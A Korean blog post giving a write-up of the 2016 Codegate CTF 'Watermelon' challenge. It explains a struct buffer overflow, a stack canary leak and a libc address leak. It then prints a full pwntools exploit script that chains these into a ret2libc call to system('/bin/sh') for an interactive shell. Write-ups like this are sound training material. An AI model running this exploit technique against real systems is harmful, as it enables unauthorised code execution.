튜기's blogggg

2016 Codegate Watermelon writeup

by St1tch

문제는 name을 입력하고 

음악과 아티스트를 add, view, modify 하는 프로그램이다. 




파일은 32bit 리눅스 실행파일이고, canary와 nx가 적용되어있다.



 main함수를 보면 memset을 통해 esp + 1C에다가 0x44C * 4만큼 0으로 초기화 해주고 있다.

그리고 바로 뒤에 canary가 들어가는 구조이다.

esp를 0xfffffff0와 and연산하므로 일단 ret까지의 dummy가 8 + (0~16) + 4 만큼 필요하다.

그리고 name을 입력하는데 전역변수에 입력을 하기 때문에 원하는 문자열을 입력해서 사용할 수 있다.


이제 취약점이 있는 함수를 살펴보겠다. 






여기서 구조체의 구조를 알 수있다.


이러한 구조로 되어있고 크기는 44바이트지만 music과 artist는 21바이트씩 쓸 수 있으므로 bof가 발생한다.

100번째 구조체의 바로 뒤에는 canary가 있다. 

null canary의 경우 100번째 artist에 'A'*20 + '\n' 이런식으로 입력하면 view함수에서 canary가 leak된다.





구조체를 수정하는 함수를 보면 artist를 수정할때 엄청 큰 값을 읽어들인다.

따라서 100번째 구조체의 artist에 dummy(20) + canary + dummy + ret 이런식의 페이로드를 넣으면 

main이 종료 될 때, 원하는 곳으로 갈 수 있다.


이제 방법은 알았으니 순서대로 공격을 시도 했다.

1. 우선 canary를 leak한다.

2. main함수의 ret주소를 구한다.

3. 라이브러리에서의, system, /bin/sh의 오프셋을 구한다.

4. name에 '/bin/sh'를 넣고 system함수를 실행한다.




import stitch
from pwn import *

s = remote('10.211.55.38', 9005)

raw_input('ready')

s.recvuntil('\n')
s.sendline('uk')

#canary leak
for _ in range(100) :
    s.recvuntil('select')
    s.sendline('1')
    s.recvuntil('music')
    s.sendline('lyn')
    s.recvuntil('artist')
    s.sendline('A' * 21)

s.recvuntil('select')
s.sendline('2')
tmp = s.recvuntil('select')
canary = '\x00' + tmp.split('100')[1].split('A'*21)[1][:3]

#libc leak
s.sendline('3')
s.recvuntil('number')
s.sendline('100')
s.recvuntil('music')
s.sendline('uk')
s.recvuntil('artist')

pay  = 'A' * 24
pay += 'ZZZZ' * 2 + 'ZZZ'
s.sendline(pay)

s.recvuntil('select')
s.sendline('2')

#calcuate system, binsh addr
tmp = s.recvuntil('select')
libc_ret = tmp.split('100')[1].split('Z'*11)[1][1:5][::-1].encode('hex')
libc = stitch.find_libc({'main_ret' : libc_ret[-3:]})[0]
stitch.dump_str(libc_ret)
offset = int(libc_ret, 16) - libc['main_ret']
system = offset + libc['system']
binsh = offset + libc['binsh']

#exploit
s.sendline('3')
s.recvuntil('number')
s.sendline('100')
s.recvuntil('music')
s.sendline('uk')
s.recvuntil('artist')

pay  = 'A' * 20
pay += canary
pay += 'Z' * 12
pay += p32(system)
pay += 'Z' * 4
pay += p32(binsh)
s.sendline(pay)

s.interactive()





































블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기